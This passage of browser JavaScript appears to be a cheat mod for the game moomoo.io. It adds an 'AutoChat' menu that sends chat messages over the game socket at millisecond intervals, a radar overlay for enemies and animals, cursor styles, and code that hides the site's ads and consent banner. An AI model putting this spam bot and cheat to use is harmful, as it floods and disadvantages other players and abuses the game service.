1049 const title = `<div style="font-size:32px;color:rgba(0, 0, 0, 0.75)">Menu</div>`;
1050 const descr = `<div>Press HOME to repeat this menu.</div>`;
1051 const body = `
1052 <div class="table">
1053 <div class="row">Message Settings
1054 </div>
1055 <div class="row">
1056 <div class="cell" style="vertical-align:middle">Messages</div>
1057 <div class="cell" style="vertical-align:middle"><textarea name="overlay_messages" rows=4 cols=32 style="background-color:rgba(255, 255, 255, 0.35);resize:none; rgba(255, 255, 255, 0.75) padding-left: 0px;border-left-width: 0px;border-top-width: 0px;padding-top: 0px;padding-right: 0px;border-right-width: 0px;padding-bottom: 0px;border-bottom-width: 0px;"></textarea></div>
1058 </div>
1059 <div class="row">
1060 <div class="cell" style="vertical-align:middle">Save Message </div>
1061 <div class="cell" style="vertical-align:middle"><input type="button" name="overlay_update_cycle" value="Save" style="border-right-width: 0px;border-left-width: 0px;border-top-width: 0px;padding-left: 6px;border-bottom-width: 0px;"></div>
1062 </div>
1063 <br>
1064 <div class="row">Message Repeat
1065 </div>
1066 <div class="row">
1067 <div class="cell" style="vertical-align:middle">Repeat<br><span class="overlay_cycle_toggle_value"><span style="font-size:24px;color:rgba(0, 0, 0, 0.75)";>Off</span></span></div>
1068 <div class="cell" style="vertical-align:middle"><input type="button" name="overlay_cycle_toggle" value="Repeat"></div>
1069 </div>
1070 </div>`;
1071 const footer = `<div style="font-size:24px;color:rgba(0, 0, 0, 0.75)">AutoChat</div>`;
1072 const temp = `${title} ${body} ${descr} ${footer}`;
1073 const d = document.createElement("div")
1074 d.id = "chatCyclerUI";
1075 d.innerHTML = temp;
1076 d.style.zIndex = 999999;
1077 document.body.appendChild(d);
1078 const val = document.querySelector('textarea[name="overlay_messages"]');
1079 val.value = overlay.inputString;
1080 val.addEventListener('input', function(e) {
1081 overlay.inputString = e.target.value;
1082 });
1083 document.querySelector('input[name="overlay_update_cycle"]').addEventListener('click', function() {
1084 if (!overlay.inputString){
1085 overlay.tempMsgs = _msgs;
1086 }else{
1087 overlay.tempMsgs = overlay.inputString.split(/\r?\n/);
1088 }
1089 msgNum = 99;
1090 msgs = overlay.tempMsgs;
1091 saveData();
1092 });
1093 document.querySelector('input[name="overlay_cycle_toggle"]').addEventListener('click', function(e) {
1094 msgCycleSwitch = !msgCycleSwitch;
1095 if (msgCycleSwitch){
1096 chat = setInterval(autoChat, 1);
1097 document.querySelector('.overlay_cycle_toggle_value').innerHTML = `<span style="font-size:24px;color:rgba(0, 0, 0, 0.75)";>On</span>`;
1098 }else{
1099 document.querySelector('.overlay_cycle_toggle_value').innerHTML = `<span style="font-size:24px;color:rgba(0, 0, 0, 0.75)";>Off</span>`;
1100 clearInterval(chat);
1101 msgNum = 0;
1102 }
1103 });
1104}
1105
1106function concatBuffers(buffer1, buffer2){
1107 var tmp = new Uint8Array(buffer1.byteLength + buffer2.byteLength);
1108 tmp.set(new Uint8Array(buffer1), 0);
1109 tmp.set(new Uint8Array(buffer2), buffer1.byteLength);
1110 return tmp.buffer;
1111}
1112
1113const four = Uint8Array.from([4]).buffer;
1114
1115function autoChat(){
1116 socket && socket.send(msgpack.encode(["ch", [msgs[msgNum]]]));
1117 msgNum++;
1118 if (msgNum >= msgs.length) msgNum = 0;
1119}
1120
1121function storageAvailable(type){
1122 try{
1123 var storage = window[type],
1124 x = '__storage_test__';
1125 storage.setItem(x, x);
1126 storage.removeItem(x);
1127 return true;
1128 }
1129 catch(e){
1130 return false;
1131 }
1132}
1133
1134function saveData(){
1135 if (storageAvailable('localStorage')){
1136 localStorage.setItem("msgs", JSON.stringify(msgs));
1137 }
1138}
1139
1140window.addEventListener('keydown', function (event){
1141 if (overlay.toggle) event.stopImmediatePropagation();
1142 if (!minus && event.keyCode === 19){ //L
1143 msgCycleSwitch = !msgCycleSwitch;
1144 if (msgCycleSwitch){
1145 chat = setInterval(autoChat, 0);
1146 }else{
1147 clearInterval(chat);
1148 msgNum =0;
1149 }
1150 minus = true;
1151 }
1152 if (!home && event.keyCode === overlay.keyCode){ //HOME
1153 overlay.toggle = !overlay.toggle;
1154 toggleOverlay(overlay.toggle);
1155 home = true;
1156 }
1157});
1158
1159window.addEventListener('keypress', function (event){
1160 if (overlay.toggle) event.stopImmediatePropagation();
1161});
1162
1163window.addEventListener('keyup', function (event){
1164 if (overlay.toggle) event.stopImmediatePropagation();
1165 if (event.keyCode == 19){
1166 minus = false;
1167 }else if (event.keyCode == 36){
1168 home = false;
1169 }
1170});
1171const stycross = [
1172 "Default (Cursor)","Default (Red)","Default (Blue)","Default (Green)","Default (Yellow)","Default (Purple)","Middle Finger","Corona Virus (Red)","Corona Virus (Blue)","Minecraft Sword","Minecraft Pickaxe","Minecraft Axe","Reddot","Crossdot","Smalldot","Crosshair","Crosshair Maxi","Crosshair Mini","Crosshair Spray","Crosshair Sniper","Crosshair Bazooka","Crosshair Alien","Crosshair (Black)","Crosshair (Red)","Crosshair (Blue)","Crosshair (Green)","Crosshair (Gold)","Crosshair (Gold+)","Crosshair (Silver)","CrosshairX (Black)","CrosshairX (Red)","CrosshairX (Blue)","CrosshairX (Green)","CrosshairL (Red)","CrosshairL (Blue)","CrosshairL (Green)","CrosshairL (Yellow)","CrosshairL (Purple)",
1173];
1174
1175var stylerSelect = document.createElement("select");
1176stylerSelect.style.backgroundColor = "#1a1a1a";
1177stylerSelect.style.color = "white";
1178stylerSelect.id = "cursor-game";
1179stylerSelect.style.marginBottom = "0px";
1180for (var mn = 0; mn < stycross.length; mn++) {
1181 var optioner = document.createElement("option");
1182 optioner.text = stycross[mn];
1183 if(stycross[mn] == "Default (Cursor)") { optioner.value="auto"; }
1184 if(stycross[mn] == "Default (Blue)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=25204'), auto"; }
1185 if(stycross[mn] == "Default (Red)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=25209'), auto"; }
1186 if(stycross[mn] == "Default (Green)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=25203'), auto"; }
1187 if(stycross[mn] == "Default (Yellow)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=25211'), auto"; }
1188 if(stycross[mn] == "Default (Purple)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=25208'), auto"; }
1189 if(stycross[mn] == "Middle Finger") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=23291'), auto"; }
1190 if(stycross[mn] == "Corona Virus (Red)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=134748'), auto"; }
1191 if(stycross[mn] == "Corona Virus (Blue)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=134662'), auto"; }
1192 if(stycross[mn] == "Minecraft Sword") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=129896'), auto"; }
1193 if(stycross[mn] == "Minecraft Pickaxe") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=129911'), auto"; }
1194 if(stycross[mn] == "Minecraft Axe") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=129903'), auto"; }
1195 if(stycross[mn] == "Crosshair Maxi") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=30924'), auto"; }
1196 if(stycross[mn] == "Crosshair Mini") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=30925'), auto"; }
1197 if(stycross[mn] == "Crosshair Spray") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=31245'), auto"; }
1198 if(stycross[mn] == "Crosshair Sniper") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=31250'), auto"; }
1199 if(stycross[mn] == "Crosshair Bazooka") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=31248'), auto";}
1200 if(stycross[mn] == "CrosshairX (Black)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42279'), auto"; }
1201 if(stycross[mn] == "CrosshairX (Blue)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42285'), auto"; }
1202 if(stycross[mn] == "CrosshairX (Red)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42287'), auto"; }
1203 if(stycross[mn] == "CrosshairX (Green)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42286'), auto"; }
1204 if(stycross[mn] == "Crosshair Alien") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42281'), auto"; }
1205 if(stycross[mn] == "Crosshair (Black)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42280'), auto"; }
1206 if(stycross[mn] == "Crosshair (Blue)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42288'), auto"; }
1207 if(stycross[mn] == "Crosshair (Red)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42290'), auto"; }
1208 if(stycross[mn] == "Crosshair (Green)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42289'), auto"; }
1209 if(stycross[mn] == "Crosshair (Gold)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=97792'), auto"; }
1210 if(stycross[mn] == "Crosshair (Gold+)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=97801'), auto"; }
1211 if(stycross[mn] == "Crosshair (Silver)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=99159'), auto"; }
1212 if(stycross[mn] == "Reddot") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=47970'), auto"; }
1213 if(stycross[mn] == "Crossdot") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=47974'), auto"; }
1214 if(stycross[mn] == "Smalldot") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=47971'), auto"; }
1215 if(stycross[mn] == "CrosshairL (Blue)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42292'), auto"; }
1216 if(stycross[mn] == "CrosshairL (Red)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42294'), auto"; }
1217 if(stycross[mn] == "CrosshairL (Green)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42293'), auto"; }
1218 if(stycross[mn] == "CrosshairL (Yellow)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42300'), auto"; }
1219 if(stycross[mn] == "CrosshairL (Purple)") { optioner.value="url('http://www.rw-designer.com/cursor-extern.php?id=42295'), auto"; }
1220 stylerSelect.add(optioner);
1221}
1222
1223document.getElementById("setupCard").appendChild(stylerSelect);
1224
1225stylerSelect.onchange = function() {
1226
1227 document.body.style.cursor = document.getElementById('cursor-game').options[document.getElementById('cursor-game').selectedIndex].value;
1228}
1229
1230var namecolor = "#ffffff"
1231var idname = " "
1232var currenthat = "none"
1233var HP = 6
1234var coord = 6
1235var HP1 = 798273498723483479823749283748927483
1236var coord1 = 2472398472398472384789234723984792384798
1237var radarenemy = 3;
1238var radaranimal = 3;
1239var radartopkiller = 3;
1240var radarleader = 3;
1241var radarclan = 3;
1242var animalcolor = "#0017FF"
1243var killercolor = "#000000"
1244var leadercolor = "#E0FF00"
1245var clancolor = "#00FF13"
1246var Healthbarcolor = "#8ecc51"
1247var Healthbarcolor2 = "#cc5151"
1248var menuChange = document.createElement("div");
1249menuChange.className = "menuCard";
1250menuChange.id = "mainSettings";
1251menuChange.innerHTML = `
1252<div id="simpleModal" class="modal">
1253 <div class="modal-content">
1254 <div class="modal-header">
1255 <span class="closeBtn">×</span>
1256 <h2 style="font-size: 17px;">Radar Menu</h2>
1257 </div>
1258 <div class="modal-body" style="font-size: 15px;">
1259 <div class="flexControl">
1260<hr>
1261<fieldset>
1262 <legend>radar</legend>
1263 <label class="HP">Show HP<input type="checkbox" id="HP"><span class="checkmarkx"></span></label>
1264 <label class="coord">Show coordinates<input type="checkbox" id="coord"><span class="checkmarkx"></span></label>
1265 </fieldset>
1266
1267<fieldset>
1268 <legend>animal radar</legend>
1269 <label class="animalradar">Blue<input type="checkbox" id="animalblue"><span class="checkmarkx"></span></label>
1270 <label class="animalradar">Red <input type="checkbox" id="animalred"><span class="checkmarkx"></span></label>
1271 <label class="animalradar">green<input type="checkbox" id="animalgreen"><span class="checkmarkx"></span></label>
1272 <label class="animalradar">yellow<input type="checkbox" id="animalyellow"><span class="checkmarkx"></span></label>
1273 <label class="animalradar">white<input type="checkbox" id="animalwhite"><span class="checkmarkx"></span></label>
1274 <label class="animalradar">black<input type="checkbox" id="animalblack"><span class="checkmarkx"></span></label>
1275 <label class="animalradar">orange<input type="checkbox" id="animalorange"><span class="checkmarkx"></span></label>
1276 </fieldset>
1277
1278<fieldset>
1279 <legend>enemy radar</legend>
1280 <label class="enemyradar">Blue<input type="checkbox" id="enemyblue"><span class="checkmarkx"></span></label>
1281 <label class="enemyradar">Red <input type="checkbox" id="enemyred"><span class="checkmarkx"></span></label>
1282 <label class="enemyradar">green<input type="checkbox" id="enemygreen"><span class="checkmarkx"></span></label>
1283 <label class="enemyradar">yellow<input type="checkbox" id="enemyyellow"><span class="checkmarkx"></span></label>
1284 <label class="enemyradar">white<input type="checkbox" id="enemywhite"><span class="checkmarkx"></span></label>
1285 <label class="enemyradar">black<input type="checkbox" id="enemyblack"><span class="checkmarkx"></span></label>
1286 <label class="enemyradar">orange<input type="checkbox" id="enemyorange"><span class="checkmarkx"></span></label>
1287 </fieldset>
1288
1289<fieldset>
1290 <legend>clan radar</legend>
1291 <label class="clanradar">Blue<input type="checkbox" id="clanblue"><span class="checkmarkx"></span></label>
1292 <label class="clanradar">Red <input type="checkbox" id="clanred"><span class="checkmarkx"></span></label>
1293 <label class="clanradar">green<input type="checkbox" id="clangreen"><span class="checkmarkx"></span></label>
1294 <label class="clanradar">yellow<input type="checkbox" id="clanyellow"><span class="checkmarkx"></span></label>
1295 <label class="clanradar">white<input type="checkbox" id="clanwhite"><span class="checkmarkx"></span></label>
1296 <label class="clanradar">black<input type="checkbox" id="clanblack"><span class="checkmarkx"></span></label>
1297 <label class="clanradar">orange<input type="checkbox" id="clanorange"><span class="checkmarkx"></span></label>
1298 </fieldset>
1299
1300<fieldset>
1301 <legend>Leader radar</legend>
1302 <label class="leaderradar">Blue<input type="checkbox" id="leaderblue"><span class="checkmarkx"></span></label>
1303 <label class="leaderradar">Red <input type="checkbox" id="leaderred"><span class="checkmarkx"></span></label>
1304 <label class="leaderradar">green<input type="checkbox" id="leadergreen"><span class="checkmarkx"></span></label>
1305 <label class="leaderradar">yellow<input type="checkbox" id="leaderyellow"><span class="checkmarkx"></span></label>
1306 <label class="leaderradar">white<input type="checkbox" id="leaderwhite"><span class="checkmarkx"></span></label>
1307 <label class="leaderradar">black<input type="checkbox" id="leaderblack"><span class="checkmarkx"></span></label>
1308 <label class="leaderradar">orange<input type="checkbox" id="leaderorange"><span class="checkmarkx"></span></label>
1309 </fieldset>
1310
1311<fieldset>
1312 <legend>Healthbar color (your team)</legend>
1313 <label class="healthcolor">Blue<input type="checkbox" id="healthblue"><span class="checkmarkx"></span></label>
1314 <label class="healthcolor">Red <input type="checkbox" id="healthred"><span class="checkmarkx"></span></label>
1315 <label class="healthcolor">yellow<input type="checkbox" id="healthyellow"><span class="checkmarkx"></span></label>
1316 <label class="healthcolor">white<input type="checkbox" id="healthwhite"><span class="checkmarkx"></span></label>
1317 <label class="healthcolor">black<input type="checkbox" id="healthblack"><span class="checkmarkx"></span></label>
1318 <label class="healthcolor">orange<input type="checkbox" id="healthorange"><span class="checkmarkx"></span></label>
1319 </fieldset>
1320
1321<fieldset>
1322 <legend>Healthbar color (enemy)</legend>
1323 <label class="healthcolor">Blue<input type="checkbox" id="healthblue1"><span class="checkmarkx"></span></label>
1324 <label class="healthcolor">Green <input type="checkbox" id="healthred1"><span class="checkmarkx"></span></label>
1325 <label class="healthcolor">yellow<input type="checkbox" id="healthyellow1"><span class="checkmarkx"></span></label>
1326 <label class="healthcolor">white<input type="checkbox" id="healthwhite1"><span class="checkmarkx"></span></label>
1327 <label class="healthcolor">black<input type="checkbox" id="healthblack1"><span class="checkmarkx"></span></label>
1328 <label class="healthcolor">orange<input type="checkbox" id="healthorange1"><span class="checkmarkx"></span></label>
1329 </fieldset>
1330<fieldset>
1331 <legend>Name color</legend>
1332 <label class="namecoloryes">Blue<input type="checkbox" id="name1"><span class="checkmarkx"></span></label>
1333 <label class="namecoloryes">Red <input type="checkbox" id="name2"><span class="checkmarkx"></span></label>
1334 <label class="namecoloryes">green<input type="checkbox" id="name3"><span class="checkmarkx"></span></label>
1335 <label class="namecoloryes">yellow<input type="checkbox" id="name4"><span class="checkmarkx"></span></label>
1336 <label class="namecoloryes">white<input type="checkbox" id="name5"><span class="checkmarkx"></span></label>
1337 <label class="namecoloryes">black<input type="checkbox" id="name6"><span class="checkmarkx"></span></label>
1338 <label class="namecoloryes">orange<input type="checkbox" id="name7"><span class="checkmarkx"></span></label>
1339 </fieldset>
1340 </div>
1341 </div>
1342 <div class="modal-footer">
1343 <h3 style="font-size: 17px;">By Wealthy#0069</h3>
1344 </div>
1345 </div>
1346</div>
1347`
1348document.body.appendChild(menuChange)
1349
1350var styleItem = document.createElement("style");
1351styleItem.type = "text/css";
1352styleItem.appendChild(document.createTextNode(`
1353.keyPressLow {
1354 margin-left: 8px;
1355 font-size: 16px;
1356 margin-right: 8px;
1357 height: 25px;
1358 width: 50px;
1359 background-color: #fcfcfc;
1360 border-radius: 3.5px;
1361 border: none;
1362 text-align: center;
1363 color: #4A4A4A;
1364 border: 0.5px solid #f2f2f2;
1365}
1366
1367.menuPrompt {
1368 font-size: 17px;
1369 font-family: 'Hammersmith One';
1370 color: #4A4A4A;
1371 flex: 0.2;
1372 text-align: center;
1373 margin-top: 10px;
1374 display: inline-block;
1375}
1376
1377.modal {
1378 display: none;
1379 position: fixed;
1380 z-index: 1;
1381 left: 0;
1382 top: 0;
1383 overflow: auto;
1384 height: 100%;
1385 width: 100%;
1386}
1387
1388.modal-content {
1389 margin: 10% auto;
1390 width: 40%;
1391 box-shadow: 0 5px 8px 0 rgba(0, 0, 0, 0.2), 0 7px 20px 0 rgba(0, 0, 0, 0.17);
1392 font-size: 14px;
1393 line-height: 1.6;
1394}
1395
1396.modal-header h2,
1397.modal-footer h3 {
1398 margin: 0;
1399}
1400
1401.modal-header {
1402 background: #428bca;
1403 padding: 15px;
1404 color: #fff;
1405 border-top-left-radius: 5px;
1406 border-top-right-radius: 5px;
1407}
1408
1409.modal-body {
1410 padding: 10px 20px;
1411 background: #fff;
1412}
1413
1414.modal-footer {
1415 background: #428bca;
1416 padding: 10px;
1417 color: #fff;
1418 text-align: center;
1419 border-bottom-left-radius: 5px;
1420 border-bottom-right-radius: 5px;
1421}
1422
1423.closeBtn {
1424 color: #ccc;
1425 float: right;
1426 font-size: 30px;
1427 color: #fff;
1428}
1429
1430.closeBtn:hover,
1431.closeBtn:focus {
1432 color: #000;
1433 text-decoration: none;
1434 cursor: pointer;
1435}
1436
1437/* Customize the label (the container) */
1438.container {
1439 display: block;
1440 position: relative;
1441 padding-left: 35px;
1442 margin-bottom: 12px;
1443 cursor: pointer;
1444 font-size: 16px;
1445 -webkit-user-select: none;
1446 -moz-user-select: none;
1447 -ms-user-select: none;
1448 user-select: none;
1449}
1450
1451/* Hide the browser's default checkbox */
1452.container input {
1453 position: absolute;
1454 opacity: 0;
1455 cursor: pointer;
1456 height: 0;
1457 width: 0;
1458}
1459
1460/* Create a custom checkbox */
1461.checkmark {
1462 position: absolute;
1463 top: 0;
1464 left: 0;
1465 height: 25px;
1466 width: 25px;
1467 background-color: #eee;
1468}
1469
1470/* On mouse-over, add a grey background color */
1471.container:hover input ~ .checkmark {
1472 background-color: #ccc;
1473}
1474
1475/* When the checkbox is checked, add a blue background */
1476.container input:checked ~ .checkmark {
1477 background-color: #2196F3;
1478}
1479
1480/* Create the checkmark/indicator (hidden when not checked) */
1481.checkmark:after {
1482 content: "";
1483 position: absolute;
1484 display: none;
1485}
1486
1487/* Show the checkmark when checked */
1488.container input:checked ~ .checkmark:after {
1489 display: block;
1490}
1491
1492/* Style the checkmark/indicator */
1493.container .checkmark:after {
1494 left: 9px;
1495 top: 5px;
1496 width: 5px;
1497 height: 10px;
1498 border: solid white;
1499 border-width: 0 3px 3px 0;
1500 -webkit-transform: rotate(45deg);
1501 -ms-transform: rotate(45deg);
1502 transform: rotate(45deg);
1503}
1504
1505`))
1506document.head.appendChild(styleItem);
1507
1508
1509$("#adCard").css({display: "none"});
1510
1511
1512document.addEventListener('keydown', function(e) {
1513 if (e.keyCode == 27){
1514 if (modal.style.display = "none") {
1515 modal.style.display = "block";
1516 } else {
1517 modal.style.display = "none";
1518 }
1519 }
1520})
1521
1522// Get modal element
1523var modal = document.getElementById("simpleModal");
1524// Get close button
1525var closeBtn = document.getElementsByClassName('closeBtn')[0];
1526
1527// Events
1528closeBtn.addEventListener('click', closeModal);
1529window.addEventListener('click', outsideClick);
1530
1531// Close
1532function closeModal() {
1533 modal.style.display = 'none';
1534}
1535
1536// Close If Outside Click
1537function outsideClick(e) {
1538 if (e.target == modal) {
1539 modal.style.display = 'none';
1540 }
1541}
1542
1543
1544
1545var img = "http://moomoo.io/img/hats/hat_0.png"
1546var img2 = "http://moomoo.io/img/accessories/access_11.png"
1547$("#consentBlock").css({display: "none"});
1548$("#ytLink").css({display: "none"});
1549$("#youtuberOf").css({display: "none"});
1550
1551
1552var newImg = document.createElement("img");
1553 newImg.src = "https://i.imgur.com/K0RRKxE.png"
1554 newImg.style = `position: absolute; top: 15px; left: 15px; z-index: 100000; width: 70px; height: 70px; cursor: pointer;`;
1555 document.body.prepend(newImg);
1556
1557
1558 newImg.addEventListener("click", () => {
1559 if (modal.style.display = "none") {
1560 modal.style.display = "block";
1561 } else {
1562 modal.style.display = "none";
1563 }
1564 });
1565document.getElementById("moomooio_728x90_home").style.display = "none";
1566$("#moomooio_728x90_home").parent().css({display: "none"});
1567
1568
1569const card = document.querySelector("#setupCard");
1570const button = document.createElement("button");
1571const menu = document.createElement("div");
1572const styles = document.createElement("style");
1573
1574menu.classList.add("i-container");
1575menu.id = "mm-menu-container";
1576
1577styles.type = "text/css";
1578styles.innerHTML = `
1579 .open-menu-button {
1580 background-color: #00eaff;
1581 margin-top: 5px;
1582 }
1583
1584 .open-menu-button:hover {
1585 background-color: rgb(0, 255, 243);
1586 }
1587
1588 #mm-menu-container {
1589 cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADq0lEQVRIS62VfWhTVxiHf+fem5sU7OwY0ylF2qZ2WKHKolVaqq1toBNEULv+IdtwBbGGCkVnq2MZ6wpDRZgMttUPWgcm1M90xn4gWh2rTKnT+oltvtOt2Iy022qaJjc5e2+qrAxGjUvg5V445z7Pec/v3FyWlZU1zDnf4PV67wLgVCn9sewlSzif/+ZN5vVXu91ub0rpBGM5a9dwYctGxL497nY/eqxPdRcst6yMv3HsBEIHD2Hico9DFIUih8MRSFUn7O21ZVx/5CTSpoCnR7+Gv6e9V6OTq1MlYUtL1vHC5lNIiwC6UBz3rAcwdMN22+vzrUhFF2xZUTlf39ieEKRFBcyJSzh3ohZDzp+uiKK42eVy/fF/RMywuoK/X3cWOrUDEugUAelMg47uzyI9dy0todDk/kAgMPGqEraqsILvqrkAbZQRXIQuxqBVGCQlDMvPzZMX75/Z7/F4vnplQdEKIzdv7SCoAG1MgBwnAZWGM8SUcXx6eQdu/3prM72IHSSJJStiJQYjP1xlhxwTIRNUotIQRWJ0z4DApAfmq7uDAyN3ttGLaKeheDISVvqOkbds6iSwCAnTUEkARLWk6XoSfIiP7XW/+8a9xRT6YFKCdST4flMXRCZOQ8V/wJQ1BComA/YHNnz+gxmT0dBip9PpeFkJKyfB6eouCEQWnq84ASZo4qollHpPdfqmFfuON44KkvAeBX/9ZSSsgkK+8GEXmESCGWBGYBWqFl5I6No90I2afdt8Wq22lIJ3zyZhxkIj76ilDjQiVKi68sSKn0N/dPVi5K8RhJUpTEXDiEQj6OvvQ/8v/X4KfdHsgtVGfnEvZSCTgMCDgUEsfGsB0l9PT6x81+E6dPZeCtA345sZMC4IQoQC/3J2QbGRX/qCOiCB55kLVXuqcMh8EGWGcqjndTw2huUlywZpS1bSH+CfswH/Pc6Ma0hwpBPDoWEUVxWN6bS68xPPJjb4B4bnyWnUEklqTB/xa9evmWlLmpMWlJdW8Ma6BjQ0NziDY8FP6HS0Z2dnn9m5Y+eW3fV76MwCDucQKisr7YqifODz+caSkbC8vDw+97W5/aOB0e10Ku6oD+v1+nmZmZlPbTYbMjIyEA6H0dTUpFgslgKa8zgpQU5OzlUKsJbafzLzQRK0mEym7fX19aAxtLa2xq1W63d+v9+UlOC/Jufm5uoLCgr68vPz57e1td2SZdkWjUZPkuC3lAgMBoMmGAy+G4/H1e+zh7ZmJBnwi7l/A8cKjSjK8EZAAAAAAElFTkSuQmCC") 0 0 , auto !important;
1590 user-select: none;
1591 font-size: 14px;
1592 overflow: hidden;
1593 color: #fff;
1594 font-family: Verdana,sans-serif;
1595 box-sizing: border-box;
1596 position: fixed;
1597 top: 50%;
1598 left: 50%;
1599 height: 366px;
1600 width: 500px;
1601 margin-top: -183px;
1602 margin-left: -250px;
1603 z-index: 2147000000;
1604 }
1605
1606 .i-checkbox-label {
1607 font-size: 12px;
1608 user-select: none;
1609 color: #fff;
1610 font-family: Verdana,sans-serif;
1611 box-sizing: border-box;
1612 cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADq0lEQVRIS62VfWhTVxiHf+fem5sU7OwY0ylF2qZ2WKHKolVaqq1toBNEULv+IdtwBbGGCkVnq2MZ6wpDRZgMttUPWgcm1M90xn4gWh2rTKnT+oltvtOt2Iy022qaJjc5e2+qrAxGjUvg5V445z7Pec/v3FyWlZU1zDnf4PV67wLgVCn9sewlSzif/+ZN5vVXu91ub0rpBGM5a9dwYctGxL497nY/eqxPdRcst6yMv3HsBEIHD2Hico9DFIUih8MRSFUn7O21ZVx/5CTSpoCnR7+Gv6e9V6OTq1MlYUtL1vHC5lNIiwC6UBz3rAcwdMN22+vzrUhFF2xZUTlf39ieEKRFBcyJSzh3ohZDzp+uiKK42eVy/fF/RMywuoK/X3cWOrUDEugUAelMg47uzyI9dy0todDk/kAgMPGqEraqsILvqrkAbZQRXIQuxqBVGCQlDMvPzZMX75/Z7/F4vnplQdEKIzdv7SCoAG1MgBwnAZWGM8SUcXx6eQdu/3prM72IHSSJJStiJQYjP1xlhxwTIRNUotIQRWJ0z4DApAfmq7uDAyN3ttGLaKeheDISVvqOkbds6iSwCAnTUEkARLWk6XoSfIiP7XW/+8a9xRT6YFKCdST4flMXRCZOQ8V/wJQ1BComA/YHNnz+gxmT0dBip9PpeFkJKyfB6eouCEQWnq84ASZo4qollHpPdfqmFfuON44KkvAeBX/9ZSSsgkK+8GEXmESCGWBGYBWqFl5I6No90I2afdt8Wq22lIJ3zyZhxkIj76ilDjQiVKi68sSKn0N/dPVi5K8RhJUpTEXDiEQj6OvvQ/8v/X4KfdHsgtVGfnEvZSCTgMCDgUEsfGsB0l9PT6x81+E6dPZeCtA345sZMC4IQoQC/3J2QbGRX/qCOiCB55kLVXuqcMh8EGWGcqjndTw2huUlywZpS1bSH+CfswH/Pc6Ma0hwpBPDoWEUVxWN6bS68xPPJjb4B4bnyWnUEklqTB/xa9evmWlLmpMWlJdW8Ma6BjQ0NziDY8FP6HS0Z2dnn9m5Y+eW3fV76MwCDucQKisr7YqifODz+caSkbC8vDw+97W5/aOB0e10Ku6oD+v1+nmZmZlPbTYbMjIyEA6H0dTUpFgslgKa8zgpQU5OzlUKsJbafzLzQRK0mEym7fX19aAxtLa2xq1W63d+v9+UlOC/Jufm5uoLCgr68vPz57e1td2SZdkWjUZPkuC3lAgMBoMmGAy+G4/H1e+zh7ZmJBnwi7l/A8cKjSjK8EZAAAAAAElFTkSuQmCC") 0 0 , auto !important;
1613 display: block;
1614 margin: 4px;
1615 }
1616
1617 .i-checkbox-label {
1618 font-size: 12px;
1619 user-select: none;
1620 color: #fff;
1621 font-family: Verdana,sans-serif;
1622 box-sizing: border-box;
1623 cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADq0lEQVRIS62VfWhTVxiHf+fem5sU7OwY0ylF2qZ2WKHKolVaqq1toBNEULv+IdtwBbGGCkVnq2MZ6wpDRZgMttUPWgcm1M90xn4gWh2rTKnT+oltvtOt2Iy022qaJjc5e2+qrAxGjUvg5V445z7Pec/v3FyWlZU1zDnf4PV67wLgVCn9sewlSzif/+ZN5vVXu91ub0rpBGM5a9dwYctGxL497nY/eqxPdRcst6yMv3HsBEIHD2Hico9DFIUih8MRSFUn7O21ZVx/5CTSpoCnR7+Gv6e9V6OTq1MlYUtL1vHC5lNIiwC6UBz3rAcwdMN22+vzrUhFF2xZUTlf39ieEKRFBcyJSzh3ohZDzp+uiKK42eVy/fF/RMywuoK/X3cWOrUDEugUAelMg47uzyI9dy0todDk/kAgMPGqEraqsILvqrkAbZQRXIQuxqBVGCQlDMvPzZMX75/Z7/F4vnplQdEKIzdv7SCoAG1MgBwnAZWGM8SUcXx6eQdu/3prM72IHSSJJStiJQYjP1xlhxwTIRNUotIQRWJ0z4DApAfmq7uDAyN3ttGLaKeheDISVvqOkbds6iSwCAnTUEkARLWk6XoSfIiP7XW/+8a9xRT6YFKCdST4flMXRCZOQ8V/wJQ1BComA/YHNnz+gxmT0dBip9PpeFkJKyfB6eouCEQWnq84ASZo4qollHpPdfqmFfuON44KkvAeBX/9ZSSsgkK+8GEXmESCGWBGYBWqFl5I6No90I2afdt8Wq22lIJ3zyZhxkIj76ilDjQiVKi68sSKn0N/dPVi5K8RhJUpTEXDiEQj6OvvQ/8